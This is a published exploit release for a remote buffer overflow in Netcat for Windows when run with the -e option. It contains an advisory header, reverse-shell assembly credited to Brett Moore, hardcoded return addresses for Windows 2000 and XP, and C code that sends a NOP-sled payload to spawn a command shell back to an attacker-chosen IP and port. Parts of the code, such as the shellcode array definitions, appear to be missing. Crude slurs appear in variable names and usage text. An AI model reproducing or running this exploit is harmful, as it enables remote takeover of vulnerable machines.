Netcat for Windows has a buffer overflow vulnerability that allows remote execution of code. It is exposed when netcat is run using the -e option which execs a process and pipes the listening socket io to the stdio of the exec'd process.
Note that this issue does not exist in netcat for the UNIX platform.
Fix...............: Actually none, Hobbit is warned 1 month+ ago, and looks like
to not act, we let him to spread a backdoor :)
Risk..............: Highly critical.
-Almost everything loaded as "nc ... -e ..." is vulnerable
-Educational tools such as the uw-imapd (http://www.washington.edu/imap/) contains no port listener,
if it's loaded with netcat (ie: nc -L -p 143 -t -e imapd.exe
25 -t -e pop3d.exe etc..vulnerable..)
this small example show you the large impact of this hole.
-Tools build on netcat , I guess are vulnerable , such as the netcat with
authentification or others tools based on netcat without a security check on src.
-Next time you run netcat -e , be sure of what you run because as said Hobbit,
the "-e" switch is really DANGEROUS!! :DDD
Compilation.......: 101_ncat.cpp ......... Win32 (MSVC,cygwin)
101_ncat.c ........... Linux (FreeBSD,etc..)
Greetings.........: Nima Majidi, Behrang Fouladi (cool teammates ;p)
DiabloHorn, kimatrix (KD-Team guys)
Nicolas Waisman, MMiller(skape), H.D Moore, BJWever (for the help)
Brett Moore (for all help and specially there
for suggesting me that way of MSVCRT.system call
; call system()
mov eax,1656E64h ; mov cmd + 01010101 to eax
sub eax,01010101h ; sub 01010101
push eax ; Push cmd on stack with our null byte :)
push esp ; Location to cmd
call ebp ; Call system()
via that way you can push on the stack "\x00"cmd without
breaking your payload.
Because in the public shellcode that he published on mailinglist
; Call system()
push 20646D63h ; Push cmd on stack, null exists from above
push esp ; Location to cmd
call ebp ; Call system()
Sure it's smaller to push direclty "\x20"cmd but
MSVCRT.system was also grabbing invalid unicode chars
before "\x20"cmd including esp pointing to cmd (windows bug ?:>)(on w2k sp4 server).
Else to bypass a bad char , I do a small change ,adding 6 nop,
to kick out "\x0A" bugging there for netcat and prolly more.
This to finally say that the size of the shellcode is now 220 bytes instead
of 205 (still awesome for a reversecmd generic win32 shellcode)
Tested working on W2k SP4,XP all SP. Excellent job by Brett Moore wich I throw all credits
because this shellcode is the brain of that exploit ;)
Extra.............: !All tests were made on nc.exe from http://www.securityfocus.com/tools/139/scoreit!
!All tests were made loading netcat: nc -L -p 143 -t -e c:\imapd.exe!
(hoping the processus wont change if you load differently netcat, I dont think, else update urself!
!See in the code if you need the shellcode in ASM format, really useful peace of code, thanx to bmoore and me!
!Don't use ip with #0 as '127.0.0.1' , this will break the payload.
// GENERIC callback cmd execution shellcode
// by Brett Moore @ Security-Assessment.com
// 205 bytes + 8 bytes to bypass null byte problem spoke ealier. bmoore
// + 6 nop added to avoid bad char "\x0A". class101
// + 1 bytes of CMP&JMP instruction added to fix an important bug. class101
// (shellcode was spawning a shell if you use it locally,
// but access violation trying to spawn a shell on remote ip, now fixed.)
// = 220 bytes
bmoore.asm
;********************** Christmas Shells***************************************
; Callback Shell.
; Directly set std handles and call system()
;
; 220 (DCh) bytes
;
; its not code, its antic0de
; and it works now too %-)
; Left it in tasm format.
; tasm32 -ml /m5 bmoore.asm
; tlink32 -Tpe -c -x bmoore.obj ,,, import32
;
;*********************************** Christmas Shells***************************************
; Jimminy jellicas its been jimplemented.
; Oddity,Dsp,Shammah,Santa Claus and the rest of the loco locals
; All the o/s peeps who know whats what.
;********************************************************************************************
;//bmoore
;
; Tested working on Win2k SP4 Server,Pro and WinXP SP1a Pro Eng.
;//class101
.586p
locals
;****************************************************************************
; This is the start of the shell code
;****************************************************************************
realstart:
jmp over_data
sockdat db 02h,01h,00h,065h
db 07fh,00h,00h,01h
hashes db 01h
dw 364Ah
db "MSVCRT",01
dw 422Ah
dw 8AD4h
db "WS2_32",01
dw 817Ch
dw 4E2Ch
char jmpebx[]="\x73\x1c\x57\x7c"; //JMP EBX - kernel32.dll - Win2k SP4 Server,Pro English
char popopret[]="\xb1\x2c\xc2\x77"; //POP,POP,RET - msvcrt.dll - WinXP SP2,SP1a,SP1 Pro English - I finally found out XP exploitation ;<
char jmp1[]="\xeb\x07\x90"; //JMP 9 bytes down
char jmp2[]="\x90\x90\x90\xe9\x07\xff\xff\xff"; //long JMP up
char gay[]="\x4b\x2d\x4f\x54\x69\x4b"; //giving bl0wjob for free :>
#ifdef WIN32
WSADATA wsadata;
#endif
void ver();
void usage(char* us);
int main(int argc,char *argv[])
{
ver();
unsigned long gip;
unsigned short gport;
if ((argc!=6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
#ifndef WIN32
gip=inet_addr(argv[4])^(long)0x00000000;
gport=htons(atoi(argv[5]))^(short)0x0000;
#define Sleep sleep
#define SOCKET int
#define closesocket(s) close(s)
#else
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;}
gip=inet_addr(argv[4])^(ULONG)0x00000000;
gport=htons(atoi(argv[5]))^(USHORT)0x0000;
#endif
int ip=htonl(inet_addr(argv[2])), port=atoi(argv[3]), sz, sizeA, sizeB, sizeC, c, b, a;
char *target, *os;
memcpy(&scode[6], &gip, 4);
memcpy(&scode[4], &gport, 2);
if (atoi(argv[1]) == 1){target=jmpebx;os="Win2k SP4 Server English\n[+] Win2k SP4 Pro. English";}
if (atoi(argv[1]) == 2){target=popopret;os="WinXP SP2 Pro. English\n[+] WinXP SP1a Pro. English\n[+] WinXP SP1 Pro. English";}
SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);
if (s==-1){printf("[+] socket() error\n");return -1;}
printf("[+] target(s): %s\n",os);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
connect(s,( struct sockaddr *)&server,sizeof(server));
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
default:
if(FD_ISSET(s,&mask))
{
printf("[+] connected, constructing the payload...\n");
#ifdef WIN32
Sleep(2000);
#else
Sleep(2);
#endif
sizeA=10;
sizeB=228-sizeof(scode);
sizeC=25;
sz=10+227+3+4+8+25;
memset(payload,0,sizeof(payload));
for (a=0;a<sizeA;a++){strcat(payload,"\x90");}
strcat(payload,scode);
for (b=0;b<sizeB;b++){strcat(payload,"\x90");}
strcat(payload,jmp1);
strcat(payload,target);
strcat(payload,jmp2);
for (c=0;c<sizeC;c++){strcat(payload,"\x90");}
if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");return -1;}
#ifdef WIN32
Sleep(1000);
#else
Sleep(1);
#endif
printf("[+] size of payload: %d\n",sz);
printf("[+] payload send, look at your listener, you should get a shell\n");
return 0;
}
}
closesocket(s);
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
void usage(char* us)
{
printf("USAGE: 101_ncat.exe Target VulnIP VulnPORT GayIP GayPORT\n");
printf("TARGETS: \n");
printf(" [+] 1. Win2k SP4 Server English (*)\n");
printf(" [+] 1. Win2k SP4 Pro. English (*)\n");
printf(" [+] 2. WinXP SP1 Pro. English (*)\n");
printf(" [+] 2. WinXP SP1a Pro. English (*)\n");
printf(" [+] 2. WinXP SP2 Pro. English (*)\n");
printf("NOTE: \n");
printf(" The exploit reverse a cmd to GayIP:GayPORT :>\n");
printf(" A wildcard (*) mean Tested.\n");
return;
}
void ver()
{
printf(" \n");
printf("===================================================[v0.1]====\n");
printf("==========Netcat v1.1, The TCP/IP Swiss Army Knife===========\n");
printf("======\"-e\" Switch, Remote Buffer Overflow Exploit=========\n");
printf("======coded by class101=============[Hat-Squad.com 2004]=====\n");
printf("===========================================================\n");
printf(" \n");
}
